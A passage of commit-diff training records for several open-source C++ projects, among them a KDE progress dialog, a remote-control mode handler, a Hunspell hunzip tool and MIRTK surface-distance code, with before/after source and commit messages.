mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setCrypto( value );\n   }\n}\n\nvoid ProgressDialog::slotShow()\n{\n   setVisible( true );\n}\n\nvoid ProgressDialog::slotHide()\n{\n  \/\/ check if a new item showed up since we started the timer. If not, hide\n  if ( mTransactionsToListviewItems.isEmpty() ) {\n    setVisible( false );\n  }\n}\n\nvoid ProgressDialog::slotClose()\n{\n  mWasLastShown = false;\n  setVisible( false );\n}\n\nvoid ProgressDialog::setVisible( bool b )\n{\n  if ( b )\n    show();\n  else\n    hide();\n  emit visibilityChanged( b );\n}\n\nvoid ProgressDialog::slotToggleVisibility()\n{\n  \/* Since we are only hiding with a timeout, there is a short period of\n   * time where the last item is still visible, but clicking on it in\n   * the statusbarwidget should not display the dialog, because there\n   * are no items to be shown anymore. Guard against that.\n   *\/\n  mWasLastShown = !isShown();\n  if ( isShown() || !mTransactionsToListviewItems.isEmpty() )\n    setVisible( !isShown() );\n}\n\n}\n\n#include \"progressdialog.moc\"\n<commit_msg>setVisible() is now a virtual member of OWidget, so calling show() (aka setVisible(true)) or hide() (aka setVisible(false)) from it is a very bad idea.<commit_after>\/** -*- c++ -*-\n * progressdialog.cpp\n *\n *  Copyright (c) 2004 Till Adam <adam@kde.org>,\n *                     David Faure <faure@kde.org>\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; version 2 of the License\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n *  In addition, as a special exception, the copyright holders give\n *  permission to link the code of this program with any edition of\n *  the Qt library by Trolltech AS, Norway (or with modified versions\n *  of Qt that use the same license as Qt), and distribute linked\n *  combinations including the two.  You must obey the GNU General\n *  Public License in all respects for all of the code used other than\n *  Qt.  If you modify this file, you may extend this exception to\n *  your version of the file, but you are not obligated to do so.  If\n *  you do not wish to do so, delete this exception statement from\n *  your version.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <qapplication.h>\n#include <qlayout.h>\n#include <q3progressbar.h>\n#include <qtimer.h>\n#include <q3header.h>\n#include <qobject.h>\n#include <q3scrollview.h>\n#include <qtoolbutton.h>\n#include <qpushbutton.h>\n#include <q3vbox.h>\n#include <qtooltip.h>\n\/\/Added by qt3to4:\n#include <QCloseEvent>\n#include <QEvent>\n#include <Q3Frame>\n#include <QLabel>\n\n#include <klocale.h>\n#include <kdialog.h>\n#include <kstdguiitem.h>\n#include <kiconloader.h>\n#include <kdebug.h>\n\n#include \"progressdialog.h\"\n#include \"progressmanager.h\"\n#include \"ssllabel.h\"\n#include <q3whatsthis.h>\n\nnamespace KPIM {\n\nclass TransactionItem;\n\nTransactionItemView::TransactionItemView( QWidget * parent,\n                                          const char * name,\n                                          Qt::WFlags f )\n    : Q3ScrollView( parent, name, f ) {\n  setFrameStyle( NoFrame );\n  mBigBox = new Q3VBox( viewport() );\n  mBigBox->setSpacing( 5 );\n  addChild( mBigBox );\n  setResizePolicy( Q3ScrollView::AutoOneFit ); \/\/ Fit so that the box expands horizontally\n}\n\nTransactionItem* TransactionItemView::addTransactionItem( ProgressItem* item, bool first )\n{\n   TransactionItem *ti = new TransactionItem( mBigBox, item, first );\n   ti->hide();\n   QTimer::singleShot( 1000, ti, SLOT( show() ) );\n   return ti;\n}\n\nvoid TransactionItemView::resizeContents( int w, int h )\n{\n  \/\/kdDebug(5300) << k_funcinfo << w << \",\" << h << endl;\n  Q3ScrollView::resizeContents( w, h );\n  \/\/ Tell the layout in the parent (progressdialog) that our size changed\n  updateGeometry();\n  \/\/ Resize the parent (progressdialog) - this works but resize horizontally too often\n  \/\/parentWidget()->adjustSize();\n\n  QApplication::sendPostedEvents( 0, QEvent::ChildInserted );\n  QApplication::sendPostedEvents( 0, QEvent::LayoutHint );\n  QSize sz = parentWidget()->sizeHint();\n  int currentWidth = parentWidget()->width();\n  \/\/ Don't resize to sz.width() every time when it only reduces a little bit\n  if ( currentWidth < sz.width() || currentWidth > sz.width() + 100 )\n    currentWidth = sz.width();\n  parentWidget()->resize( currentWidth, sz.height() );\n}\n\nQSize TransactionItemView::sizeHint() const\n{\n  return minimumSizeHint();\n}\n\nQSize TransactionItemView::minimumSizeHint() const\n{\n  int f = 2 * frameWidth();\n  \/\/ Make room for a vertical scrollbar in all cases, to avoid a horizontal one\n  int vsbExt = verticalScrollBar()->sizeHint().width();\n  int minw = topLevelWidget()->width() \/ 3;\n  int maxh = topLevelWidget()->height() \/ 2;\n  QSize sz( mBigBox->minimumSizeHint() );\n  sz.setWidth( QMAX( sz.width(), minw ) + f + vsbExt );\n  sz.setHeight( QMIN( sz.height(), maxh ) + f );\n  return sz;\n}\n\n\nvoid TransactionItemView::slotLayoutFirstItem()\n{\n  \/*\n     The below relies on some details in Qt's behaviour regarding deleting\n     objects. This slot is called from the destroyed signal of an item just\n     going away. That item is at that point still in the  list of chilren, but\n     since the vtable is already gone, it will have type QObject. The first\n     one with both the right name and the right class therefor is what will\n     be the first item very shortly. That's the one we want to remove the\n     hline for.\n  *\/\n  QObject *o = mBigBox->child( \"TransactionItem\", \"KPIM::TransactionItem\" );\n  TransactionItem *ti = dynamic_cast<TransactionItem*>( o );\n  if ( ti ) {\n    ti->hideHLine();\n  }\n}\n\n\n\/\/ ----------------------------------------------------------------------------\n\nTransactionItem::TransactionItem( QWidget* parent,\n                                  ProgressItem *item, bool first )\n  : Q3VBox( parent, \"TransactionItem\" ), mCancelButton( 0 ), mItem( item )\n\n{\n  setSpacing( 2 );\n  setMargin( 2 );\n  setSizePolicy( QSizePolicy( QSizePolicy::Preferred, QSizePolicy::Fixed ) );\n\n  mFrame = new Q3Frame( this );\n  mFrame->setFrameShape( Q3Frame::HLine );\n  mFrame->setFrameShadow( Q3Frame::Raised );\n  mFrame->show();\n  setStretchFactor( mFrame, 3 );\n\n  Q3HBox *h = new Q3HBox( this );\n  h->setSpacing( 5 );\n\n  mItemLabel = new QLabel( item->label(), h );\n  h->setSizePolicy( QSizePolicy( QSizePolicy::Preferred, QSizePolicy::Fixed ) );\n\n  mProgress = new Q3ProgressBar( 100, h );\n  mProgress->setProgress( item->progress() );\n\n  if ( item->canBeCanceled() ) {\n    mCancelButton = new QPushButton( SmallIcon( \"cancel\" ), QString::null, h );\n    QToolTip::add( mCancelButton, i18n(\"Cancel this operation.\") );\n    connect ( mCancelButton, SIGNAL( clicked() ),\n              this, SLOT( slotItemCanceled() ));\n  }\n  \n  h = new Q3HBox( this );\n  h->setSpacing( 5 );\n  h->setSizePolicy( QSizePolicy( QSizePolicy::Preferred, QSizePolicy::Fixed ) );\n  mSSLLabel = new SSLLabel( h );\n  mSSLLabel->setSizePolicy( QSizePolicy( QSizePolicy::Fixed, QSizePolicy::Fixed ) );\n  mItemStatus =  new QLabel( item->status(), h );\n  setCrypto( item->usesCrypto() );\n  if( first ) hideHLine();\n}\n\nTransactionItem::~TransactionItem()\n{\n}\n\nvoid TransactionItem::hideHLine()\n{\n    mFrame->hide();\n}\n\nvoid TransactionItem::setProgress( int progress )\n{\n  mProgress->setProgress( progress );\n}\n\nvoid TransactionItem::setLabel( const QString& label )\n{\n  mItemLabel->setText( label );\n}\n\nvoid TransactionItem::setStatus( const QString& status )\n{\n  mItemStatus->setText( status );\n}\n\nvoid TransactionItem::setCrypto( bool on )\n{\n  if (on)\n    mSSLLabel->setEncrypted( true );\n  else\n    mSSLLabel->setEncrypted( false );\n\n  mSSLLabel->setState( mSSLLabel->lastState() );\n}\n\nvoid TransactionItem::slotItemCanceled()\n{\n  if ( mItem )\n    mItem->cancel();\n}\n\n\nvoid TransactionItem::addSubTransaction( ProgressItem* \/*item*\/ )\n{\n\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\nProgressDialog::ProgressDialog( QWidget* alignWidget, QWidget* parent, const char* name )\n    : OverlayWidget( alignWidget, parent, name ), mWasLastShown( false )\n{\n    setFrameStyle( Q3Frame::Panel | Q3Frame::Sunken ); \/\/ QFrame\n    setSpacing( 0 ); \/\/ QHBox\n    setMargin( 1 );\n\n    mScrollView = new TransactionItemView( this, \"ProgressScrollView\" );\n\n    \/\/ No more close button for now, since there is no more autoshow\n    \/*\n    QVBox* rightBox = new QVBox( this );\n    QToolButton* pbClose = new QToolButton( rightBox );\n    pbClose->setAutoRaise(true);\n    pbClose->setSizePolicy( QSizePolicy( QSizePolicy::Fixed, QSizePolicy::Fixed ) );\n    pbClose->setFixedSize( 16, 16 );\n    pbClose->setIconSet( KGlobal::iconLoader()->loadIconSet( \"fileclose\", KIcon::Small, 14 ) );\n    QToolTip::add( pbClose, i18n( \"Hide detailed progress window\" ) );\n    connect(pbClose, SIGNAL(clicked()), this, SLOT(slotClose()));\n    QWidget* spacer = new QWidget( rightBox ); \/\/ don't let the close button take up all the height\n    rightBox->setStretchFactor( spacer, 100 );\n    *\/\n\n    \/*\n     * Get the singleton ProgressManager item which will inform us of\n     * appearing and vanishing items.\n     *\/\n    ProgressManager *pm = ProgressManager::instance();\n    connect ( pm, SIGNAL( progressItemAdded( KPIM::ProgressItem* ) ),\n              this, SLOT( slotTransactionAdded( KPIM::ProgressItem* ) ) );\n    connect ( pm, SIGNAL( progressItemCompleted( KPIM::ProgressItem* ) ),\n              this, SLOT( slotTransactionCompleted( KPIM::ProgressItem* ) ) );\n    connect ( pm, SIGNAL( progressItemProgress( KPIM::ProgressItem*, unsigned int ) ),\n              this, SLOT( slotTransactionProgress( KPIM::ProgressItem*, unsigned int ) ) );\n    connect ( pm, SIGNAL( progressItemStatus( KPIM::ProgressItem*, const QString& ) ),\n              this, SLOT( slotTransactionStatus( KPIM::ProgressItem*, const QString& ) ) );\n    connect ( pm, SIGNAL( progressItemLabel( KPIM::ProgressItem*, const QString& ) ),\n              this, SLOT( slotTransactionLabel( KPIM::ProgressItem*, const QString& ) ) );\n    connect ( pm, SIGNAL( progressItemUsesCrypto(KPIM::ProgressItem*, bool) ),\n              this, SLOT( slotTransactionUsesCrypto( KPIM::ProgressItem*, bool ) ) );\n    connect ( pm, SIGNAL( showProgressDialog() ),\n              this, SLOT( slotShow() ) );\n}\n\nvoid ProgressDialog::closeEvent( QCloseEvent* e )\n{\n  e->accept();\n  hide();\n}\n\n\n\/*\n *  Destructor\n *\/\nProgressDialog::~ProgressDialog()\n{\n    \/\/ no need to delete child widgets.\n}\n\nvoid ProgressDialog::slotTransactionAdded( ProgressItem *item )\n{\n   TransactionItem *parent = 0;\n   if ( item->parent() ) {\n     if ( mTransactionsToListviewItems.contains( item->parent() ) ) {\n       parent = mTransactionsToListviewItems[ item->parent() ];\n       parent->addSubTransaction( item );\n     }\n   } else {\n     const bool first = mTransactionsToListviewItems.empty();\n     TransactionItem *ti = mScrollView->addTransactionItem( item, first );\n     if ( ti )\n       mTransactionsToListviewItems.replace( item, ti );\n     if ( first && mWasLastShown )\n       QTimer::singleShot( 1000, this, SLOT( slotShow() ) );\n\n   }\n}\n\nvoid ProgressDialog::slotTransactionCompleted( ProgressItem *item )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     mTransactionsToListviewItems.remove( item );\n     ti->setItemComplete();\n     QTimer::singleShot( 3000, ti, SLOT( deleteLater() ) );\n     \/\/ see the slot for comments as to why that works\n     connect ( ti, SIGNAL( destroyed() ),\n               mScrollView, SLOT( slotLayoutFirstItem() ) );\n   }\n   \/\/ This was the last item, hide.\n   if ( mTransactionsToListviewItems.empty() )\n     QTimer::singleShot( 3000, this, SLOT( slotHide() ) );\n}\n\nvoid ProgressDialog::slotTransactionCanceled( ProgressItem* )\n{\n}\n\nvoid ProgressDialog::slotTransactionProgress( ProgressItem *item,\n                                              unsigned int progress )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setProgress( progress );\n   }\n}\n\nvoid ProgressDialog::slotTransactionStatus( ProgressItem *item,\n                                            const QString& status )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setStatus( status );\n   }\n}\n\nvoid ProgressDialog::slotTransactionLabel( ProgressItem *item,\n                                           const QString& label )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setLabel( label );\n   }\n}\n\n\nvoid ProgressDialog::slotTransactionUsesCrypto( ProgressItem *item,\n                                                bool value )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setCrypto( value );\n   }\n}\n\nvoid ProgressDialog::slotShow()\n{\n   setVisible( true );\n}\n\nvoid ProgressDialog::slotHide()\n{\n  \/\/ check if a new item showed up since we started the timer. If not, hide\n  if ( mTransactionsToListviewItems.isEmpty() ) {\n    setVisible( false );\n  }\n}\n\nvoid ProgressDialog::slotClose()\n{\n  mWasLastShown = false;\n  setVisible( false );\n}\n\nvoid ProgressDialog::setVisible( bool b )\n{\n  OverlayWidget::setVisible( b );\n  emit visibilityChanged( b );\n}\n\nvoid ProgressDialog::slotToggleVisibility()\n{\n  \/* Since we are only hiding with a timeout, there is a short period of\n   * time where the last item is still visible, but clicking on it in\n   * the statusbarwidget should not display the dialog, because there\n   * are no items to be shown anymore. Guard against that.\n   *\/\n  mWasLastShown = !isShown();\n  if ( isShown() || !mTransactionsToListviewItems.isEmpty() )\n    setVisible( !isShown() );\n}\n\n}\n\n#include \"progressdialog.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (C) <2010>  Michael Zanetti <michael_zanetti@gmx.net>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n*\/\n\n#include \"remote.h\"\n\n#include <KLocale>\n#include <kdebug.h>\n\nclass ModeChangeHandler{\n  public:\n      virtual  bool isButtonModechange(const Remote *remote, const QString &button ) =0;\n      virtual  void nextMode(Remote *remote, const QString &button)=0;\n};    \n\n\nclass GroupModechangehandler : public ModeChangeHandler{\n\n  bool isButtonModechange(const Remote* remote, const QString& button) {\n    foreach(Mode *mode, remote->m_modeList){\n      if(mode->button() == button && ! (mode == remote->currentMode())){\n\treturn true;\n      }\n    }\n    return false;\n  }\n\n\n  void nextMode(Remote* remote, const QString& button) {\n    int found=remote->m_modeList.indexOf(remote->currentMode());\n    Mode *mode =0;\n    for(int i = found +1; i < remote->m_modeList.size(); ++i){\n      if(remote->m_modeList.at(found)->button() == button){\n\tmode = remote->m_modeList.at(found);\n      }\n    }  \n    if(mode== 0){\n      for(int i = 0; i < found; ++i){\n\tif(remote->m_modeList.at(found)->button() == button){\n\t  mode = remote->m_modeList.at(found);\n\t}\n      }\n    }\n    if(mode){\n      remote->setCurrentMode(mode);\n    }\n  }\n};\n\n\nRemote::Remote() {\n    \/\/ Always create the Master Mode and set it default\n    Mode *masterMode = new Mode(\"Master\");\n    addMode(masterMode);\n    setDefaultMode(masterMode);\n    m_modechangeHandler = new GroupModechangehandler();\n}\n\nRemote::Remote(const QString &remote, const QList<Mode*> &modes) {\n    m_modeList = modes;\n    m_remoteName = remote;\n\n    \/\/ Always create the Master Mode and set it default\n    bool hasMaster = false;\n    foreach(Mode *mode, m_modeList){\n        if(mode->name() == \"Master\"){\n            hasMaster = true;\n            break;\n        }\n    }\n    if(!hasMaster){\n        Mode *masterMode = new Mode(\"Master\");\n        addMode(masterMode);\n        setDefaultMode(masterMode);\n    }\n\n}\n\nQString Remote::name() const {\n  return m_remoteName;\n}\n\nQList<Mode*> Remote::allModes() const {\n  return m_modeList;\n}\n\nvoid Remote::addMode(Mode *mode) {\n  m_modeList.append(mode);\n}\n\nvoid Remote::removeMode(Mode *mode) {\n    if(mode->name() == \"Master\"){\n        kDebug() << \"cannot delete the Master mode\";\n        return;\n    }\n\n    if(m_defaultMode == mode){\n        \/\/ Deleting the Default Mode... Setting Master Mode to default\n        foreach(Mode *tmp, m_modeList){\n            if(tmp->name() == \"Master\"){\n                m_defaultMode = tmp;\n                break;\n            }\n        }\n    }\n    m_modeList.removeAll(mode);\n}\n\nMode* Remote::masterMode() const {\n    foreach(Mode *mode, m_modeList){\n        kDebug() << \"checking Mode\" << mode->name();\n        if(mode->name() == \"Master\"){\n            return mode;\n        }\n    }\n    kDebug() << \"Master mode not found\";\n    \/\/ Huh??? No Master Mode? Should never happen as removeMode() doesn't delete the Master mode\n    \/\/ and all ctors create a Master Mode...\n    return 0;\n}\n\nMode *Remote::defaultMode() const {\n    return m_defaultMode;\n}\n\nvoid Remote::setDefaultMode(Mode *mode) {\n    if(!m_modeList.contains(mode)){\n        m_modeList.append(mode);\n    }\n    m_defaultMode = mode;\n}\n\nvoid Remote::setDefaultMode(const QString &modeName){\n    foreach(Mode *mode, m_modeList){\n        if(mode->name() == modeName){\n            setDefaultMode(mode);\n            return;\n        }\n    }\n}\n\nMode* Remote::currentMode() const {\n    if(m_currentMode != 0){\n        return m_currentMode;\n    }\n    return m_defaultMode;\n}\n\nvoid Remote::setCurrentMode(Mode* mode) {\n    m_currentMode = mode;\n}\n\nbool Remote::isAvailable() const {\n    return Solid::Control::RemoteControl::allRemoteNames().contains(m_remoteName);\n}\n\nbool Remote::isButtonModechange(const QString& button) {\n  return m_modechangeHandler->isButtonModechange(this,button);\n}\n\nvoid Remote::nextMode ( const QString& button ){\n  m_modechangeHandler->nextMode(this, button);\n}\n\n\n\n\n<commit_msg>introduced modechangehandler<commit_after>\/*\n    Copyright (C) <2010>  Michael Zanetti <michael_zanetti@gmx.net>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n*\/\n\n#include \"remote.h\"\n\n#include <KLocale>\n#include <kdebug.h>\n\nclass ModeChangeHandler{\n  public:\n      virtual  bool isButtonModechange(const Remote *remote, const QString &button ) =0;\n      virtual  void nextMode(Remote *remote, const QString &button)=0;\n};    \n\n\nclass GroupModechangehandler : public ModeChangeHandler{\n\n  bool isButtonModechange(const Remote* remote, const QString& button) {\n    foreach(Mode *mode, remote->m_modeList){\n      if(mode->button() == button && ! (mode == remote->currentMode())){\n\treturn true;\n      }\n    }\n    return false;\n  }\n\n\n  void nextMode(Remote* remote, const QString& button) {\n    int index=remote->m_modeList.indexOf(remote->currentMode());\n    Mode *mode =0;\n    int size = remote->m_modeList.size();\n    if(index < size){\n      for(int i = index +1; i < size ; ++i){\n\tif(remote->m_modeList.at(index)->button() == button){\n\t  mode = remote->m_modeList.at(index);\n\t}\n      }\n    }  \n    if(mode== 0){\n      for(int i = 0; i < index; ++i){\n\tif(remote->m_modeList.at(index)->button() == button){\n\t  mode = remote->m_modeList.at(index);\n\t}\n      }\n    }\n    if(mode){\n      remote->setCurrentMode(mode);\n    }\n  }\n};\n\n\nRemote::Remote() {\n    \/\/ Always create the Master Mode and set it default\n    Mode *masterMode = new Mode(\"Master\");\n    addMode(masterMode);\n    setDefaultMode(masterMode);\n    m_modechangeHandler = new GroupModechangehandler();\n}\n\nRemote::Remote(const QString &remote, const QList<Mode*> &modes) {\n    m_modeList = modes;\n    m_remoteName = remote;\n\n    \/\/ Always create the Master Mode and set it default\n    bool hasMaster = false;\n    foreach(Mode *mode, m_modeList){\n        if(mode->name() == \"Master\"){\n            hasMaster = true;\n            break;\n        }\n    }\n    if(!hasMaster){\n        Mode *masterMode = new Mode(\"Master\");\n        addMode(masterMode);\n        setDefaultMode(masterMode);\n    }\n\n}\n\nQString Remote::name() const {\n  return m_remoteName;\n}\n\nQList<Mode*> Remote::allModes() const {\n  return m_modeList;\n}\n\nvoid Remote::addMode(Mode *mode) {\n  m_modeList.append(mode);\n}\n\nvoid Remote::removeMode(Mode *mode) {\n    if(mode->name() == \"Master\"){\n        kDebug() << \"cannot delete the Master mode\";\n        return;\n    }\n\n    if(m_defaultMode == mode){\n        \/\/ Deleting the Default Mode... Setting Master Mode to default\n        foreach(Mode *tmp, m_modeList){\n            if(tmp->name() == \"Master\"){\n                m_defaultMode = tmp;\n                break;\n            }\n        }\n    }\n    m_modeList.removeAll(mode);\n}\n\nMode* Remote::masterMode() const {\n    foreach(Mode *mode, m_modeList){\n        kDebug() << \"checking Mode\" << mode->name();\n        if(mode->name() == \"Master\"){\n            return mode;\n        }\n    }\n    kDebug() << \"Master mode not found\";\n    \/\/ Huh??? No Master Mode? Should never happen as removeMode() doesn't delete the Master mode\n    \/\/ and all ctors create a Master Mode...\n    return 0;\n}\n\nMode *Remote::defaultMode() const {\n    return m_defaultMode;\n}\n\nvoid Remote::setDefaultMode(Mode *mode) {\n    if(!m_modeList.contains(mode)){\n        m_modeList.append(mode);\n    }\n    m_defaultMode = mode;\n}\n\nvoid Remote::setDefaultMode(const QString &modeName){\n    foreach(Mode *mode, m_modeList){\n        if(mode->name() == modeName){\n            setDefaultMode(mode);\n            return;\n        }\n    }\n}\n\nMode* Remote::currentMode() const {\n    if(m_currentMode != 0){\n        return m_currentMode;\n    }\n    return m_defaultMode;\n}\n\nvoid Remote::setCurrentMode(Mode* mode) {\n    m_currentMode = mode;\n}\n\nbool Remote::isAvailable() const {\n    return Solid::Control::RemoteControl::allRemoteNames().contains(m_remoteName);\n}\n\nbool Remote::isButtonModechange(const QString& button) {\n  return m_modechangeHandler->isButtonModechange(this,button);\n}\n\nvoid Remote::nextMode ( const QString& button ){\n  m_modechangeHandler->nextMode(this, button);\n}\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>made it so that profit_buy affects engraver and attuner<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is Hunspell, based on MySpell.\n *\n * The Initial Developers of the Original Code are\n * Kevin Hendricks (MySpell) and Németh László (Hunspell).\n * Portions created by the Initial Developers are Copyright (C) 2002-2005\n * the Initial Developers. All Rights Reserved.\n *\n * Contributor(s): David Einstein, Davide Prina, Giuseppe Modugno,\n * Gianluca Turconi, Simon Brouwer, Noll János, Bíró Árpád,\n * Goldman Eleonóra, Sarlós Tamás, Bencsáth Boldizsár, Halácsy Péter,\n * Dvornik László, Gefferth András, Nagy Viktor, Varga Dániel, Chris Halls,\n * Rene Engelhard, Bram Moolenaar, Dafydd Jones, Harri Pitkänen\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"hunzip.hxx\"\n\n#define DESC                                                 \\\n  \"hunzip - decompress a hzip file to the standard output\\n\" \\\n  \"Usage: hunzip file.hz [password]\\n\"\n\nint fail(const char* err, const char* par) {\n  fprintf(stderr, err, par);\n  return 1;\n}\n\nint main(int argc, char** argv) {\n  if (argc == 1 || strcmp(argv[1], \"-h\") == 0)\n    return fail(DESC, NULL);\n  Hunzip h(argv[1], (argc > 2) ? argv[2] : NULL);\n  if (!h.is_open())\n    return 0;\n  std::string s;\n  while (h.getline(s))\n    printf(\"%s\", s.c_str());\n  return 0;\n}\n<commit_msg>drop odd fail function<commit_after>\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is Hunspell, based on MySpell.\n *\n * The Initial Developers of the Original Code are\n * Kevin Hendricks (MySpell) and Németh László (Hunspell).\n * Portions created by the Initial Developers are Copyright (C) 2002-2005\n * the Initial Developers. All Rights Reserved.\n *\n * Contributor(s): David Einstein, Davide Prina, Giuseppe Modugno,\n * Gianluca Turconi, Simon Brouwer, Noll János, Bíró Árpád,\n * Goldman Eleonóra, Sarlós Tamás, Bencsáth Boldizsár, Halácsy Péter,\n * Dvornik László, Gefferth András, Nagy Viktor, Varga Dániel, Chris Halls,\n * Rene Engelhard, Bram Moolenaar, Dafydd Jones, Harri Pitkänen\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"hunzip.hxx\"\n\n#define DESC                                                 \\\n  \"hunzip - decompress a hzip file to the standard output\\n\" \\\n  \"Usage: hunzip file.hz [password]\\n\"\n\nint main(int argc, char** argv) {\n  if (argc == 1 || strcmp(argv[1], \"-h\") == 0) {\n    fprintf(stderr, DESC);\n    return 1;\n  }\n  Hunzip h(argv[1], (argc > 2) ? argv[2] : NULL);\n  if (!h.is_open())\n    return 0;\n  std::string s;\n  while (h.getline(s))\n    printf(\"%s\", s.c_str());\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Medical Image Registration ToolKit (MIRTK)\n *\n * Copyright 2013-2015 Imperial College London\n * Copyright 2013-2015 Andreas Schuh\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <mirtkImplicitSurfaceDistance.h>\n\n#include <mirtkMath.h>\n#include <mirtkMemory.h>\n#include <mirtkParallel.h>\n#include <mirtkDataStatistics.h>\n#include <mirtkObjectFactory.h>\n\n#include <vtkPoints.h>\n#include <vtkDataArray.h>\n#include <vtkFloatArray.h>\n\n\nnamespace mirtk {\n\n\n\/\/ Register energy term with object factory during static initialization\nmirtkAutoRegisterEnergyTermMacro(ImplicitSurfaceDistance);\n\n\n\/\/ =============================================================================\n\/\/ Auxiliary functions\n\/\/ =============================================================================\n\nnamespace ImplicitSurfaceDistanceUtils {\n\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\/ Compute gradient of implicit surface distance force term (i.e., negative force)\nstruct ComputeGradient\n{\n  typedef ImplicitSurfaceDistance::GradientType GradientType;\n\n  ImplicitSurfaceForce *_Force;\n  vtkPoints            *_Points;\n  vtkDataArray         *_Status;\n  vtkDataArray         *_Normals;\n  vtkDataArray         *_Distances;\n  double                _MaxDistance;\n  GradientType         *_Gradient;\n\n  void operator ()(const blocked_range<int> &ptIds) const\n  {\n    double p[3], n[3], d, maxd;\n    GradientType *g = _Gradient + ptIds.begin();\n    for (vtkIdType ptId = ptIds.begin(); ptId != ptIds.end(); ++ptId, ++g) {\n      if (_Status && _Status->GetComponent(ptId, 0) == .0) continue;\n      _Normals->GetTuple(ptId, n);\n      d = _Distances->GetComponent(ptId, 0);\n\n      if 